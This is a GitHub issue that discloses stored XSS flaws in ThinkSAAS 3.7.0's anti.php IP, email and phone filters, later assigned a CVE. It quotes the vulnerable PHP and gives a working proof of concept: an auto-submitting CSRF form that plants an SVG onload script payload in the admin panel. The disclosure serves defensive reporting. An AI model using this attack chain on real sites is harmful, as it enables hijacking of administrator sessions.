Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

ThinkSAAS 3.7.0 has a storage XSS vulnerability #59

Open
Hebing123 opened this issue Jul 12, 2024 · 1 comment
Open

ThinkSAAS 3.7.0 has a storage XSS vulnerability #59

Hebing123 opened this issue Jul 12, 2024 · 1 comment

Comments

@Hebing123
Copy link
Owner

Summary

ThinkSAAS version 3.7.0 contains multiple stored Cross-Site Scripting (XSS) vulnerabilities.
These vulnerabilities occur due to the lack of proper filtering of input variables in the app/system/action/anti.php file. The vulnerabilities are present in various functionalities such as IP filtering, Email filtering, and Phone number filtering in the admin panel's Security Center, all of which call anti.php.

Details

The application does not properly filter or sanitize user input for variables $ip, $email, and $phone, which are directly stored in the database and displayed in the admin panel. This can lead to stored XSS vulnerabilities. An attacker can exploit these vulnerabilities by injecting malicious JavaScript code into these fields, which will be executed when an admin views these pages.

IP Filtering

case "ipdo":
    $ip = tsTrim($_POST['ip']);
    if($ip){
        $isIp = $new['system']->findCount('anti_ip', array('ip' => $ip));
        if($isIp == 0){
            $new['system']->create('anti_ip', array('ip' => $ip, 'addtime' => date('Y-m-d H:i:s')));
            $arrIps = $new['system']->findAll('anti_ip');
            foreach($arrIps as $key => $item){
                $arrIp[] = $item['ip'];
            }
            fileWrite('system_anti_ip.php', 'data', $arrIp);
            $tsMySqlCache->set('system_anti_ip', $arrIp);
        }
        qiMsg('垃圾IP添加成功!');
    } else {
        qiMsg('垃圾IP不能为空!');
    }
    break;

image

Email Filtering

case "email_add":
    $email = tsTrim($_POST['email']);
    if($email){
        $new['system']->replace('anti_email', array('email' => $email), array('email' => $email, 'addtime' => date('Y-m-d H:i:s')));
        qiMsg('Email添加成功!');
    } else {
        qiMsg('Email不能为空!');
    }
    break;

image

Phone Number Filtering

case "phone_add":
    $phone = tsTrim($_POST['phone']);
    if($phone){
        $new['system']->replace('anti_phone', array('phone' => $phone), array('phone' => $phone, 'addtime' => date('Y-m-d H:i:s')));
        qiMsg('Phone添加成功!');

image

Proof of Concept (PoC)

An attacker can exploit these vulnerabilities using a Cross-Site Request Forgery (CSRF) attack. Below is an example of a PoC for the phone number field:

<html>
  <body>
    <form action="http://192.168.0.10:1057/index.php?app=system&ac=anti&ts=phone_add" method="POST">
      <input type="hidden" name="phone" value="&lt;svg onload=alert(8)&gt;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

An attacker can place this PoC on their own website. When an administrator visits this malicious webpage, they unknowingly modify the $phone, $email, or $ip fields. The next time the administrator views these entries in the backend, the stored XSS payload will be executed.
Affected URLs:
http://your-ip/index.php?app=system&ac=anti&ts=ip
http://your-ip/index.php?app=system&ac=anti&ts=email
http://your-ip/index.php?app=system&ac=anti&ts=phone

@Hebing123
Copy link
Owner Author

Hebing123 commented Jul 24, 2024

CVE-2024-6942

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant